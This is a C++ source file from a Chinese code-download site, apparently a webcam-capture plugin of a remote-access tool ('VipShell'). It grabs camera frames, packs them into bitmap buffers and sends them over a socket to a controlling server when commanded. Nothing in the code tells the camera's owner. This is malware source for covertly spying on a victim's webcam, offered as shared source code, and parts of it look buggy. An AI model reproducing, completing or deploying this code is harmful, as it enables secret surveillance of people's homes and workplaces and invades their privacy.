⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 getcappictureproc.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
#include ".\getcappictureproc.h"

CGetCapPictureProc* g_hCap = NULL;
CGetCapPictureProc::CGetCapPictureProc(void)
{
	RECT rc;
	rc.left = 0;
	rc.top = 0;
	rc.right = 0;
	rc.bottom = 0;
	hGetCap.Start(L"GetCap", &rc);

}

CGetCapPictureProc::~CGetCapPictureProc(void)
{
	hGetCap.Stop();
	Sleep(10000);
	g_hCap = NULL;
}


void CGetCapPictureProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
	tagVipShellCmd SendInfo;
	SendInfo.dwCmd = 3; 
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}


void CGetCapPictureProc::OnGetCap(tagVipShellCmd* info)
{
	g_hCap = this;
	for(int i = 0; i < 100; i++)
	{
		Sleep(100);
		if( hGetCap.IsOpen() )
			break;

	}
	if(i == 100)
	{
		tagVipShellCmd SendInfo;
		//失败
		SendInfo.dwCmd = SHELL_CMD_ERROR;
		m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
		return ;
	}
	while(m_hServer->IsOpened())
	{
		Sleep(1000);
	}
}
bool CGetCapPictureProc::SendData()
{
	tagVipShellCmd SendInfo;
	DWORD dwLzw = 0;
	DWORD dwLen = 0;
	BYTE* bBuf = NULL;
	hGetCap.GetCapDataBuff(NULL, &dwLen, &bBuf, &dwLzw);
	if( bBuf == 0 || dwLzw == 0 || dwLen == 0)
	{

		//失败
		SendInfo.dwCmd = SHELL_CMD_ERROR;
		m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
		return false;
	}

	SendInfo.dwCmd = SHELL_CMD_ISOK;
	SendInfo.dw1 = dwLzw;
	SendInfo.dw2 = dwLen;
	m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
	int nRet = m_hServer->Recv(&SendInfo, sizeof(tagVipShellCmd));
	if( nRet == SOCKET_ERROR || nRet == 0)
	{
		m_hServer->Close();
		return false;
	}
	//传给连接
	nRet = _SendBuffData(bBuf, dwLzw);
	if( nRet == SOCKET_ERROR)
		m_hServer->Close();	
	nRet = m_hServer->Recv(&SendInfo, sizeof(tagVipShellCmd));
	if( nRet == SOCKET_ERROR || nRet == 0)
	{
		m_hServer->Close();
		return false;
	}
	return true;
}
LRESULT CGetCapData::FrameCallBack(HWND hWnd, LPVIDEOHDR lpVHdr)
{
	BITMAPFILEHEADER bmfHdr;
	bmfHdr.bfType = 0x4D42; // "BM"
	DWORD dwDIBSize = sizeof(BITMAPFILEHEADER) + lpVHdr->dwBufferLength;
	bmfHdr.bfSize = dwDIBSize;
	bmfHdr.bfReserved1 = 0;
	bmfHdr.bfReserved2 = 0;
	bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER);

	static BYTE pdata[256];
	LPBITMAPINFO lpbi;
	DWORD dwSize;
	dwSize = capGetVideoFormatSize(hWnd);
	lpbi = (LPBITMAPINFO)pdata;
	capGetVideoFormat(hWnd, lpbi, dwSize); 
	DWORD dwDatelen;
	dwDatelen = dwSize + sizeof(BITMAPFILEHEADER) + lpVHdr->dwBufferLength;
	BYTE* pSendDate = __NewBuff(dwDatelen);
	memcpy(pSendDate, &bmfHdr, sizeof(BITMAPFILEHEADER));
	memcpy(pSendDate + sizeof(BITMAPFILEHEADER), lpbi, dwSize);
	memcpy(pSendDate + sizeof(BITMAPFILEHEADER) + dwSize, lpVHdr->lpData, lpVHdr->dwBufferLength);
	if( g_hCap )
		g_hCap->SendData();
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -